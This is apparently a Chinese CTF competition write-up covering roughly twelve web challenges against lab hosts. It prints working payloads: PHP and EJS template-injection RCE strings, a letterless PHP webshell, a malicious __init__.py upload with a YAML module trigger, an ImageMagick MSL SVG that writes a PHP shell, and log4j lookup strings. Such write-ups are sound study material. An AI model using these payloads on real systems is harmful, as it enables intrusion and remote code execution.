Surfer
为计分器dom对象添加断点, 当该dom的内容发生变化时将进入js的调试断点. 经调试, 在下述代码处可获取全局状态对象:
修改分数, 即可直接通关:
$e.data.game.distance.y = 1145141919800
同时, 在文件surf.bundle.js中搜索关键字flag可以得到以下代码, 发现是一处游戏"秘籍":
在游戏中依次按下按键IWANTFLAG([73, 87, 65, 78, 84, 70, 76, 65, 71]
), 可以得到以下内容:
解码得到Hell0Pixel
根据通关后的SVG的提示, 使用openssl进行解密, 得到flag:
echo "IBzRq4skydTTpG2Mi/DIFg86iLQCSRv6Lyk+r8aZWlQwKCF3W7yoLhDtMioJHHBN" |openssl.exe enc -d -aes-128-ecb -base64 -K 48656c6c30506978656c
# hex string is too short, padding with zero bytes to length
# flag{a425e172-cb19-4b48-95ee-0098b1f5aa56}
my blog
根据网页源代码的提示访问/s3cret., 使用{{1+1}}
发现存在SSTI
直接使用{{config}}
可以得到密钥:
解码token可以得到身份校验字符串: {'user': 'guest'}
. 伪造admin身份, 得到flag:
backup
存在robots.txt, 可以获取sql数据库备份文件
打开文件找到账号和密码, 登录即可获得flag:
ezjava
使用口令admin:admin即可登录, 登录后提示是Shiro.
搜索Shiro相关漏洞, 发现如下内容:
打开漏洞利用工具, 使用文件中提供的key逐个尝试, 发现第一个key就有效. 执行命令得到flag:
weblogic
根据题目提示, fscan
工具探测其存在weblogic反序列化漏洞
搜索漏洞利用工具:
脚本很长就不贴了. 执行命令可得到flag:
模板小王子
在首页注释中发现存在文件读取, 从响应头中看出是php的站, 补充.php后缀读取文件:
读取index.php和template.html代码并将base64转换为文本文件:
在注册页面注册用户admin:admin, 登录后生成模板/sandbox/21232f297a57a5a743894a0e4a801fc3.php. 同样读取该模板源代码.
//index.php
if(isset($_POST['punctuation'])){
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 120){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-zA-Z2-9!'@#%^&:{}\-<\?>\"|`~\\\\]/"," ",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNCH__", $_POST['punctuation'], $content);
$content2 = str_replace("__USER__", $_POST['user'], $template);
$content2 = str_replace("__PASS__", $hash_pass, $content);
$content2 = str_replace("__WEBSITE__", $_POST['website'], $content);
$content2 = str_replace("__PUNCH__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
上述代码中对$user
/$website
和$punctuation
均做了相关过滤. 其中$punctuation
可使用"无字母数字构造webshell":
由于__PUNCTUATION__
并不在<?php
中, 所以需要设法将HTML标签跳过. 经测试可使用"块注释"的方式实现. 构造如下payload:
user=a/*&website=adm&pass=adm&punctuation=*/);$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);/*
效果如下所示:
使用hackbar工具获得flag:
node-ssti
根据网页源代码的提示, 访问/page?id=123, 页面是使用ejs
引擎渲染的:
旧版本的ejs引擎的outputFunctionName
函数对字符过滤不严导致存在RCE漏洞, 查找相关资料:
该payload可成功利用漏洞. 构造如下payload获取flag:
http://192.168.100.19:48483/page?id=AAAA&settings[view%20options][outputFunctionName]=x;return%20global.process.mainModule.require(%27child_process%27).execSync(%27cat%20/f1zzzag%27).toString();x
ezphp
分析源代码, 可知该程序会将给定path
的所有文件大小列出:
在kali虚拟机中执行ls -l /
, 可以推断出大小为4096的文件是目录. 获取当前目录情况如下:
4096
4096
58
345
443
在PHP中, 使用glob://伪协议可以获取文件的长度.
根据dirsearch
的扫描结果, 存在如下文件:
分别使用glob://伪协议读取flag.php和index.php, 得到其文件大小为:
flag.php: 58
index.php: 345
则尝试猜解长度为443的文件名称, 编写脚本如下 :
$url = "http://192.168.100.19:47283/?path=glob://"
while($url -notlike "*.php") {
foreach($c in 33..126) {
if (([char]$c -eq "*") -or [char]$c -eq "?") {
continue;
}
$res = Invoke-WebRequest -Uri "$($url)$([char]$c)*";
if($res.Content -like "*443*") {
$url = "$($url)$([char]$c)"
echo $url
break;
}
}
}
echo $Url;
得到该文件的名称
访问即可获得源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$realflag=file_get_contents("flag.php");
$func = create_function("","die('$realflag');");
echo $func;
if(isset($_GET['s'])){
if(file_get_contents($_GET['s']) === "please_give_me_flag"){
if($_GET['n']<=127){
die("No no no!");
}
elseif (chr($_GET['n'])==='y'){
$_GET["p"]();
}
else{
die("???");
}
}
}
其中s
可使用data://伪协议匹配, n
则可使用0x01<<8 | (char)'y'
. p
则直接使用$func
即可. 构造payload如下:
http://192.168.100.19:47283/you_find_this.php?n=633&s=data://text/plain;base64,cGxlYXNlX2dpdmVfbWVfZmxhZw==&p=%00lambda_1
得到flag:
flask is yammy
存在文件读取后门, 根据题目名称和响应头判断是python程序, 尝试读取app.py
#http://192.168.100.19:47684/include?path=app.py
from include import include_bp
from upload import upload_bp #upload.py
from saying import saying_bp #sayings.py
app = Flask(__name__, static_url_path='', static_folder='templates', template_folder='templates')
app.register_blueprint(include_bp)
app.register_blueprint(upload_bp)
app.register_blueprint(saying_bp)
根据app.py读取upload.py和saying.py的源码. 直接读取不成功, 猜测可能是使用了包, 分别读取upload/__init__.py和saying/__init__.py, 最终确定源码文件为: upload/upload.py | saying/saying.py | include/include.py
读取源码如下:
# upload.py
@upload_bp.route('/upload', methods=['POST'])
def Upload():
try:
file = request.files.get('image-file')
fileName = file.filename.replace('..', '')
filePath = os.path.join("static/upload/", fileName)
if filePath.endswith('.yaml'):
filePath = filePath[:-5] + '.txt'
file.save(filePath)
return {
'success': 1,
'message': '上传成功!',
'url': "/" + filePath
}
except Exception as e:
return {
'success': 0,
'message': '上传失败'
}
#saying.py
def waf(data):
if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|EVAL|\(|\)', str(data), re.M | re.I):
return False
else:
return True
@saying_bp.route('/saying')
def Saying():
if request.args.get('path'):
file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
try:
with open(file, 'rb') as f:
with app.app_context():
f = f.read()
if waf(f):
print(yaml.load(f, Loader=Loader))
try:
# some code that may raise an exception
return "生存或者死亡你已经做出了决策(我的意思是提交flag或者重开环境)"
except Exception as e:
print(f"An error occurred: {e}")
# print the error message
else:
return render_template('sayings.html', yaml='你说得不对')
except Exception as e:
return render_template('sayings.html', yaml='你懂的:'+str(e))
else:
with open('view/haha.yaml', 'r', encoding='utf-8') as f:
sayings = yaml.load(f, Loader=Loader)
saying = random.choice(sayings)
return render_template('sayings.html', yaml=saying)
#include.py
@include_bp.route('/include')
def include():
if request.args.get('path'):
path = request.args.get('path').replace('../', '')
if os.path.exists(path):
return send_file(path)
else:
return "??????????"
根据上述代码, 既然可以上传任意文件到static/upload下, 则可利用__init__.py的特性, 将该目录变为python的包. 之后设法impor
即可执行代码.
构造请求如下, 分别上传__init__.py和test.yml(yaml被过滤了, 但是yml没有, 这里使用yml绕过过滤)
------WebKitFormBoundaryD22AnWPpBSBIDlGL
Content-Disposition: form-data; name="image-file"; filename="__init__.py"
Content-Type: text/plain
import os;
os.system("ls / >> result.txt");
os.system("cat /fl* >> result.txt");
------WebKitFormBoundaryD22AnWPpBSBIDlGL--
------WebKitFormBoundaryD22AnWPpBSBIDlGL
Content-Disposition: form-data; name="image-file"; filename="test.yml"
Content-Type: text/plain
!!python/module:static.upload
------WebKitFormBoundaryD22AnWPpBSBIDlGL--
使用payload/saying?path=static/upload/test.yml执行命令, 之后读取结果即可:
gallery
根据提示可以获取源码:
http://192.168.100.19:48844/?action=source
上传的图片会使用convert
命令处理, 需准备图片马:
convert -size 100x100 -comment '<?php eval($_REQUEST["cmd"]); ?>' real-pic.png real_pic_shell.png
同时根据源码可以推断, 可以利用svg进行xxe, 以执行代码或包含文件. 然而不知道该包含哪个文件, 只能rce了, 试了expect
不支持, phar协议也不能用, 想利用PhotoUpload
反序列化也是够呛(escapeshellcmd()
函数绕不过去)
可以用SVG外联图片的方式读写文件, 上传svg并写马, 最终得到flag:
最终用到的payload如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/fa7e2ac98d8a777008824844acf3e881.png" />
<write filename="/var/www/html/upload/shell_huihui.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/fa7e2ac98d8a777008824844acf3e881.png" />
</svg>
</image>
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/d1e46637c006eebb38cfcb3ed008d6fa/6ae6c290ba81f95de651c4670449e69b.svg" />
</svg>
upload
上传一句话木马, 使用蚁剑连接后可以在config.php中得到redis服务器的连接配置, 使用蚁剑连接redis服务器(需要装插件)即可获得flag:
aibot
整个网页没有任何可利用的提示, 打开浏览器开发者工具的"源"选项卡, 一个一个的看. 发现/css/style.css存在猫腻
下载之后是jar包, 用jadx打开, 主函数如下:
package bot;
/* loaded from: bot.jar:bot/App.class */
public class App {
public static Logger LOGGER = LogManager.getLogger((Class<?>) App.class);
public static void main(String[] args) {
String flag = System.getenv("FLAG");
if (flag == null) {
LOGGER.error("{}", "flag unknown");
}
LOGGER.info("msg: {}", (Object[]) args);
String cmd = System.getProperty("cmd");
if (cmd.equals("help")) {
doHelp();
} else if (cmd.startsWith("/")) {
doCommand(cmd.substring(1), args);
} else {
doChat(cmd);
}
}
// 省略了一些代码, 因为我没有用上它们
private static void doHelp() {
System.out.println("命令应该以 / 开始,例如 /help");
System.out.println("目前命令列表:[help, repeat, time, wc]");
}
private static void doChat(String text) {
System.out.println(text + "吗?");
}
}
分析上述代码, FLAG是以环境变量的方式读出的, 那么可以设法读取环境变量即可. 然而题目给出的程序里并没有读取环境变量的代码, 看来看去也就只有log4j
库可以一试了. 在电脑上搜了几个漏洞利用工具, 都失效了(基本上版本都不匹配). 在Jadx中打开该库, 试试逆向分析一下.
根据著名的log4j ldap rce漏洞的payload来分析, log4j的格式化字符串格式是: ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Basic/TomcatEcho}
其中ldap是通信协议, 因为这里需要获取本地环境变量, 应该更换成${Env:FLAG}
(说实话, 其实我也不知道Java是不是这样的, 反正C#是这样的).
则可能的payload为: ${jndi:${ENV:FLAG}}
(试了, 不行)
继续在jadx中寻找代码jndi
, 看在这里的jndi到底代表什么. 发现此处的jndi
应该是对应的某种LookUp
抽象类的实现. 既然jndi
不行, 那就逐个尝试:
最终发现${Java:${ENV:FLAG}}
可以用, 得到flag:
(感觉${Environment:$FLAG}
应该也可以, 但是不知道为啥读不出来)😥
auth
存在sql注入, 使用用户名admin'
加任意密码即可登录, 登录后修改cookie中的用户名为admin即可得到flag